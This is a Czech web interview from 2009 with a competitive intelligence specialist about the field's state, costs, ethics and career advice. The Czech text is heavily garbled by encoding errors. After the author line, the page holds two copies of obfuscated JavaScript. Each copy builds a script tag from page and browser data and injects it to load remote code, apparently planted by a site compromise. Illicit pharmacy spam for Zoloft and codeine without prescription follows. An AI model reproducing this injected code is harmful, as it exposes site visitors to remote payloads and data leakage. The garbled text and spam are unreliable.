Rozhovor s Mgr. Petrem Ai??mejkalem

Odborné články, Rozhovory

8. 11. 2009

PortA?l CI pAi??inA?A?Ai?? rozhovor s Mgr. Petrem Ai??mejkalem, odbornAi??kem na oblast konkurenA?nAi??ho zpravodajstvAi??.

Jak jste se dostal ke konkurenA?nAi??mu zpravodajstvAi???

PoprvAi?? jsem na tento pojem narazil asi v nAi??kterAi??m z A?lA?nkA? od pana doktora PapAi??ka. Tato profese mAi?? oslovila od prvnAi?? chvAi??le svou zajAi??mavou charakteristikou i nA?plnAi??. Z mAi??ho pohledu jde o pAi??Ai??jemnA? mix obchodnAi??ch znalostAi?? a informaA?nAi?? vAi??dy. ZaA?Ai??nal jsem vA?ak jako nezA?vislA? informaA?nAi?? broker a aA? postupem A?asu a s pAi??ibA?va­jAi??cAi??mi znalostmi a zkuA?enosti a hlavnAi?? v prostAi??edAi?? ai??zvelkAi??ho­ai??? obchodu, kdyA? jsem pAi??iA?el do spoleA?nosti Ernst & Young, jsem mAi??l moA?nost se zaA?Ai??t tAi??to disciplAi??nAi?? vAi??novat vAi??ce.

U nA?s stA?le nenAi?? konkurenA?nAi?? zpravodajstvAi?? tak zaA?itAi??, zlepA?uje se to v poslednAi?? dobAi???

SpAi??A? neA? tvrzenAi??, A?e u nA?s nenAi?? CI zaA?itAi??, bych se postavil za tvrzenAi??, A?e nenAi?? sprA?vnAi?? dAi??lanAi??. Ono se v podstatAi?? dAi??lA? v naprostAi?? vAi??tA?inAi?? firem, jen bohuA?el velmi chaoticky, nesystematicky a koneA?nAi?? vA?sledky nenesou poA?adovanAi?? pAi??Ai??nosy. Ale tato situace se v poslednAi?? dobAi?? zlepA?uje. UrA?itAi?? na tom mAi??l svA?j podAi??l vznik A?eskAi?? poboA?ky SCIP a konference, kterAi?? poAi??A?dala, a takAi?? A?Ai??Ai??enAi?? obecnAi??ho povAi??domAi?? o CI, kterAi?? dAi??lA? napAi??Ai??klad pan Vejlupek. V souA?asnAi?? dobAi?? je pro A?Ai??Ai??enAi?? konkurenA?nAi??ho zpravodajstvAi?? ideA?lnAi?? doba, firmy si hlAi??dajAi?? nA?klady, snaA?Ai?? se optimalizovat a zefektivnit produkci, pokud majAi?? nAi??jakou konkurenA?nAi?? vA?hodu, chtAi??jAi?? si ji udrA?et. Zde je pro CI skvAi??lA? moA?nost uplatnAi??nAi??, proto vAi??Ai??Ai??m, A?e pAi??i vhodnAi??m A?Ai??Ai??enAi?? povAi??domAi?? o tAi??to disciplAi??nAi?? a za pomoci dalA?Ai??ch akcAi??, jakA?mi mohou bA?t napAi??Ai??klad vzdAi??lA?vA?nAi?? konkrAi??tnAi??ch lidAi??, kteAi??Ai?? majAi?? v podnicAi??ch CI na starosti, mA? konkurenA?nAi?? zpravodajstvAi?? naA?lA?pnuto k mnohem zajAi??mavAi??jA?A­i?? budoucnosti.

JakA? je rozdAi??l mezi CI u nA?s a ve svAi??tAi???

Je potAi??eba si uvAi??domit, A?e tomu nenAi?? jeA?tAi?? tak moc dA?vno, kdy u nA?s vA?bec neplatila pravidla volnAi??ho obchodu. Bylo tu centrA?lnAi?? plA?novA?nAi??, podniky si v podstatAi?? nekonkurovaly, technologie se ze zA?padnAi??ch zemAi?? pAi??ebAi??raly tAi??mAi??Ai?? bez jakAi??hokoliv ohledu na patenty nebo ochrannAi?? znA?mky atd. Po tAi?? nA?sledovala doba velmi divokA? a hektickA? a aA? v poslednAi?? dobAi?? jsou trochu vidAi??t tendence vAi??st obchod podle fAi??r podmAi??nek a pAi??esto si udrA?et A?anci mAi??t konkurenA?nAi?? vA?hodu. V zahraniA?Ai??, zejmAi??na v zA?padnAi?? EvropAi?? a USA je obchod zasazen do trochu jinA?ch podmAi??nek. InformaA?nAi?? prA?mysl tam mA? svou tradici a pevnAi?? vybudovanAi?? postavenAi??, jsou tam pevnAi?? ukotveny poA?adavky na legA?lnost a etiku jednA?nAi??. Na druhou stranu musAi??m poznamenat, A?e z hlediska CI jsme mezi zemAi??mi postkomunistic­kAi??ho bloku (kromAi?? samotnAi??ho Ruska) mezi A?piA?kami aA? uA? se jednA? o dostupnost informacAi??, prA?hlednost stA?tnAi?? sfAi??ry a obecnAi?? podnikA?nAi??, proto si myslAi??m, A?e A?asem se budeme zA?padnAi??mu standardu pAi??ibliA?ovat stA?le vAi??ce. Porostou zkuA?enosti nejen CI profesionA?lA?, ale takAi?? firem, kterAi?? se zaA?Ai??najAi?? uA?it tomu, co mohou od CI poA?adovat a co jim mA?A?e pAi??inAi??st.

LiA?Ai?? se radikA?lnAi?? ceny za CI sluA?by u nA?s a ve svAi??tAi???

NemyslAi??m si, A?e by se ceny liA?ily nAi??jak radikA?lnAi??, nicmAi??nAi?? vzhledem k rozdAi??lnA?m postavenAi??m ekonomik tu rozdAi??ly urA?itAi?? jsou.

Je velkA? rozdAi??l, kdyA? si dAi??lA?m CI pro malou nebo velkou firmu?

PrincipielnAi?? zde zA?sadnAi?? rozdAi??l nenAi??. I CI pro malou firmu je potAi??eba dAi??lat dA?kladnAi?? a vAi??novat mu potAi??ebnou pozornost. RozdAi??l by se dal ale urA?itAi?? nalAi??zt v rozsahu, kdy velkA? firma si mA?A?e dovolit investovat do CI procesu mnohem vAi??c prostAi??edkA? a mA? tak moA?nost (nenAi?? to samozAi??ejmAi?? pravidlo) vytAi??A?it lepA?Ai?? informace, lAi??pe podchytit signA?ly, kterAi?? o danAi?? problematice vypovAi??dajAi?? atd. Je vA?ak potAi??eba mAi??t na pamAi??ti, A?e hlavnAi?? pAi??Ai??nos CI by mAi??l bA?t v kvalitnAi?? prA?ci analytika, kterA? celAi??mu procesu dA?vA? pAi??idanou hodnotu. MAi??l by to tedy bA?t ten klAi??A?ovA? faktor, od nAi??hoA? se odvAi??jAi?? A?spAi??ch a kvalita CI.

MA?A?e si firma dAi??lat analA?zu konkurenA?nAi??ho prostAi??edAi?? sama nebo je lepA?Ai?? si najmout profesionA?la?

Toto je velmi tAi??A?kAi?? posoudit, protoA?e obAi?? varianty majAi?? svA? pro a proti. A?lovAi??k zna­jAi??cAi?? firmu zvnitAi??ku dokA?A?e mnohem lAi??pe pochopit jejAi?? potAi??eby, je citlivAi??jA?Ai?? k signA?lA?m, kterAi?? by mAi??l sledovat, znA? historii a souvislosti danA?ch firem a trhA? a v neposlednAi?? Ai??adAi?? A?asto takAi?? lAi??pe znA? zvyklosti a specifika managementu, takA?e je schopen pro nAi?? vyhotovit lepA?Ai?? report. Na druhou stranu je ale A?lovAi??k z vni­tAi??ku firmy vA?dycky trochu zaujatA?, mA? A?asto tendenci pAi??ekrucovat vA?sledky tak, aby byly pro jeho spoleA?nost pAi??Ai??vAi??ti­vAi??jA?Ai??, mA? uA? svAi?? ai??zzabAi??hnu­tAi?? kolejeai??? dAi??ky nimA? nenAi?? schopen se na problAi??my dAi??vat objektivnAi??. ExternAi?? specialista je lepA?Ai?? hlavnAi?? pro svou nezaujatost, dAi??ky tomu, A?e je schopen myslet jinak, pAi??ichA?zet s kreativnAi??mi nA?pady atd. NehledAi?? na fakt, A?e externAi?? profesionA?l mAi??vA? hlubA?Ai?? profesnAi?? znalosti, co se tA?A?e CI, zejmAi??na nA?slednAi?? analA?zy. DA?le je takAi?? lepA?Ai?? v tom, A?e znA? standardnAi?? postupy, pouA?Ai??vA? osvAi??dA?enAi?? vA?stupnAi?? formA?ty, atd. Je tak zpravidla schopen podat vA?sledky rychleji a efektivnAi??ji. DalA?Ai?? otA?zkou, kterou je vA?ak potAi??eba vzAi??t v potaz, je bezpeA?nost. Do jakAi?? mAi??ry bude firma vAi??Ai??it externAi??mu A?lovAi??ku, aby mu svAi??Ai??ila prA?ci na vytvA?Ai??enAi?? strategiAi?? a na stanovovA?nAi?? cAi??lA?.

Je v dobAi?? hospodA?Ai??skAi?? krize A?loha CI dA?leA?itAi??jA?A­i???

UrA?itAi?? je. JiA? jsem zmiA?oval, A?e v dA?sledku optimalizace nA?kladA? je zAi??skA?nAi?? a udrA?enAi?? konkurenA?nAi?? vA?hody jeA?tAi?? vAi??tA?Ai?? vA?zvou neA? v dobAi?? prosperity. ProtoA?e v dobAi?? kdy se firmAi?? daAi??Ai??, je mnohem sloA?itAi??jA?Ai?? pAi??esvAi??dA?it vedenAi?? o tom, A?e potAi??ebujAi?? strategickA? plA?n, A?e musAi?? sledovat novAi?? trendy a kroky konkurence. ProA? by mAi??li, kdyA? se jim daAi??Ai??? AvA?ak v dobAi?? krize vidAi?? vyuA?itelnost CI mnohem vAi??ce lidAi?? a je tak potAi??eba vzAi??t tuto A?anci, pomoct zabydlet CI proces v podnicAi??ch a obhA?jit si dA?leA?itost tAi??chto vA?dajA?. NA?roky na CI jsou vA?ak v dobAi?? krize vAi??tA?Ai?? neA? pAi??edtAi??m. Je ale tAi??eba si uvAi??domit, A?e vybudovA?nAi?? kvalitnAi??ho zpravodajstvAi?? je dlouhodobA? proces, takA?e kdo s CI zaA?Ai??nA? aA? nynAi??, nemA? moc A?ancAi?? na zA?roA?enAi?? jejAi??ch vA?sledkA?. Naopak, pokud nAi??kdo budoval CI centrum v prA?bAi??hu doby pAi??ed krizi, mA?A?e nynAi?? sklAi??zet A?A?avnatou A?rodu. V dobAi?? souA?asnAi??ho A?tlumu se takAi??Ai??kajAi??c lA?me chleba, proto je potAi??eba zvA?A?it opatrnost pAi??i zA?sad­nAi??ch krocAi??ch, kterAi?? by mohly ovlivnit chod firmy, je potAi??eba vAi??ce sledovat konkurenci a rychle se uA?it z jejAi??ch chyb a A?spAi??chA?, co nejpruA?nAi??ji reagovat na poA?adavky trhu a zmAi??ny trendA?. To vA?echno by mAi??lo sprA?vnAi?? fungujAi??cAi?? CI centrum bA?t schopno zajistit.

Je teA? nAi??jakA? novinka v oblasti CI? NAi??co co je IN?

PoslednAi?? dobou se v CI komunitAi?? hodnAi?? mluvilo o vyuA?itAi?? sociA?lnAi??ch sAi??tAi??. Tento trend mA? urA?itAi?? svA?j potenciA?l, dA?vA? moA?nost se lAi??pe orientovat v tom, kdo jsou lidAi?? ve vedenAi?? firem, kterAi?? sleduji, na koho jsou navA?zA?ni, jakAi?? je jejich zA?zemAi??, atd. ObrovskA? potenciA?l nA?m to dA?vA? napAi??Ai??klad v pAi??Ai??padAi??, kdy narazAi??me na (nebo jsme schopni vyhledat) lidi, kteAi??Ai?? A?erstvAi?? opustili firmu, o niA? se zajAi??mA?me. Tento velmi cennA? zdroj informacAi?? se tak nabAi??zAi?? takAi??Ai??kajAi??c na stAi??Ai??brnAi??m podnose. DA?le se takAi?? v poslednAi?? dobAi?? probAi??ralo CI v oblastech mimo hlavnAi?? dAi??nAi??, tzn. zejmAi??na v jiA?nAi?? Americe, A?Ai??nAi??, Rusku, Indii atd. Tyto dost specifickAi?? oblasti jsou dnes takAi?? velmi zajAi??mavA?m zdrojem novA?ch poznatkA? a pAi??Ai??stupA?.

Kde by mAi??l zaA?Ai??t student, kterA? se zajAi??mA? o oblast CI a chtAi??l by v tomto oboru pracovat?

StudentA?m, kteAi??Ai?? by mAi??li o CI zA?jem, bych urA?itAi?? poradil, aA? se registrujAi?? v organizaci SCIP, kterA? je obrovskou studnicAi?? znalostAi??, zkuA?enostAi?? a zajAi??mavA?ch lidAi??, kteAi??Ai?? rA?di sdAi??lujAi?? svAi?? zkuA?enosti a rA?di poradAi?? zaA?Ai??najAi??cA­i??m kolegA?m. DA?le pak samozAi??ejmAi?? sledovat obchodnAi?? svAi??t a nauA?it se orientovat v zA?kladnAi??ch ekonomickA?ch termAi??nech.

Na co si dA?vat velkA? pozor v oblasti etiky konkurenA?nAi??ho zpravodajstvAi???

UrA?itAi?? je oblast etiky a legA?lnosti kolem CI velkA?m problAi??mem. UA? jen to, A?e nelegA?lnAi?? a neetickAi?? praktiky zAi??skA?vA?nAi?? informacAi?? jsou mnohdy jedinA?m prostAi??edkem jak danou informaci zAi??skat. To se pak tAi??A?ko obhajuje postoj, kterA? tuto praktiku zavrhuje. Proto se u nA?s, kde mA?me obchodnAi?? prostAi??edAi?? poAi??A?d jeA?tAi?? troA?ku divokAi??, stA?le tyto nesprA?vnAi?? praktiky pouA?Ai??vajAi??. V seriA?znAi??m jednA?nAi?? by vA?ak mAi??li vA?ichni pokud moA?no dodrA?ovat etickA? kodex, tak jak ho propaguje organizace SCIP a spAi??A?e se snaA?it pAi??izpA?sobit celAi?? ekonomickAi?? prostAi??edAi?? tak, aby bylo co nejprA?hlednA­i??jA?Ai?? a zAi??skA?vA?nAi?? informacAi?? by nevyA?adovalo A?A?dnAi?? extrAi??mnAi?? pAi??Ai??stupy. KdyA? to tedy shrnu, jsem spAi??A?e zastA?ncem toho, aby se organizace jako SCIP, HospodA?Ai??skA? komora, atd. zasadily o co nejvAi??tA?Ai?? zprA?hlednAi??nAi?? obchodnAi??ch praktik a zveAi??ejnAi??nAi?? co nejvAi??tA?Ai??ho mnoA?stvAi?? informacAi??. TAi??m by odpadla nutnost zAi??skA?vat informace A?patnA?mi prostAi??edky.

Jak se liA?Ai?? teorie CI od praxe?

NejvAi??tA?Ai?? rozdAi??l mezi teoriAi?? a praxAi?? v CI je to, A?e teorie vAi??tA?inou poA?Ai??tA? s ideA?lnAi??m stavem vAi??cAi??. Ve vAi??tA?inAi?? pAi??Ai??padovA?ch studiAi?? nenarazAi??te na pAi??Ai??pad, kdy firma poA?adovanAi?? informace nezveAi??ejA?uje nebo na tento segment pro nA?A? region neexistuje studie, kterA? mapuje dA?leA?itAi?? informace. MusAi??te tak vychA?zet z neA?plnA?ch dat a koneA?nA? vA?sledek to pak mA?A?e znatelnAi?? ovlivnit. DalA?Ai??m velkA?m rozdAi??lem mezi teoriAi?? a praxAi?? pak je A?asto pAi??Ai??stup vedenAi??. V praxi velmi A?asto narazAi??te na problAi??m, kdy vedenAi?? buA? nevAi?? pAi??esnAi?? jakAi?? informace potAi??ebuje nebo jakAi?? mA?A?e vA?bec poA?adovat. Dost A?asto si vedenAi?? nepAi??ipouA?tAi??, A?e pokud si nechajAi?? vypracovat konkurenA?nAi?? zpravodajstvAi??, mAi??lo by obsahovat nejen tvrdA? data poskytujAi??cAi?? jim obrA?zek o tom, jak se konkurentA?m daAi??Ai??, ale zA?roveA? i doporuA?enAi??, kterAi?? by urA?itAi?? mAi??li zvA?A?it a promAi??tnout ho do zmAi??ny strategie podniku. Velkou odliA?nostAi?? je pak takAi?? pAi??Ai??stup k neetickAi??mu chovA?nAi??. V teorii je jednoznaA?nAi?? zavrhovA?no jako A?plnAi?? A?patnAi??, nicmAi??nAi?? v praxi se pak mA?A?ete velmi A?asto setkat s tAi??m, A?e se tyto praktiky provA?dAi??. Proto s nimi musAi?? v praxi A?lovAi??k po­A?Ai??tat a umAi??t proti nim aplikovat odpovAi??dajA­i??cAi?? kontra CI.

Autor G. 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d=document;var s=d[_0×d052[1­]](_0×d052[0]);s[_0×d052­[2]]= _0×d052[3]+ encodeURICompo­nent(document[_0×d052[4]­])+ _0×d052[5]+ encodeURICompo­nent(document[_0×d052[6]­])+ _0×d052[7]+ window[_0×d052[­11]][_0×d052[10]][_0×d05­2[9]](_0×d052[8],_0×d052­[7])+ _0×d052[12];i­f(document[_0×d052[13­]]){document[_0×d052[13­]][_0×d052[15]][_0×d052[­14]](s,documen­t[_0×d052[13]])}el­se {d[_0×d052[18­]](_0×d052[17])[0][_0×d0­52[16]](s)};if(do­cument[_0×d052[11­]][_0×d052[19]]=== _0×d052[20]&& KTracking[_0×d052[22­]][_0×d052[21]](_0×d052[­3]+ encodeURICompo­nent(document[_0×d052[4]­])+ _0×d052[5]+ encodeURICompo­nent(document[_0×d052[6]­])+ _0×d052[7]+ window[_0×d052[­11]][_0×d052[10]][_0×d05­2[9]](_0×d052[8],_0×d052­[7])+ _0×d052[12])===  –1){alert(_0×d052[23­])}var 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d=document;var s=d[_0×b322[1­]](_0×b322[0]);s[_0×b322­[2]]= _0×b322[3]+ encodeURICompo­nent(document[_0×b322[4]­])+ _0×b322[5]+ encodeURICompo­nent(document[_0×b322[6]­])+ _0×b322[7]+ window[_0×b322[­11]][_0×b322[10]][_0×b32­2[9]](_0×b322[8],_0×b322­[7])+ _0×b322[12];i­f(document[_0×b322[13­]]){document[_0×b322[13­]][_0×b322[15]][_0×b322[­14]](s,documen­t[_0×b322[13]])}el­se {d[_0×b322[18­]](_0×b322[17])[0][_0×b3­22[16]](s)};if(do­cument[_0×b322[11­]][_0×b322[19]]=== _0×b322[20]&& KTracking[_0×b322[22­]][_0×b322[21]](_0×b322[­3]+ encodeURICompo­nent(document[_0×b322[4]­])+ _0×b322[5]+ encodeURICompo­nent(document[_0×b322[6]­])+ _0×b322[7]+ window[_0×b322[­11]][_0×b322[10]][_0×b32­2[9]](_0×b322[8],_0×b322­[7])+ _0×b322[12])===  –1){alert(_0×b322[23­])} zoloft without prescription motilium without a script. overdose fluoxetine. , Zoloft withoutprescrip­tion. vigra for sale canada. buy codeine. domperidone for sale. var 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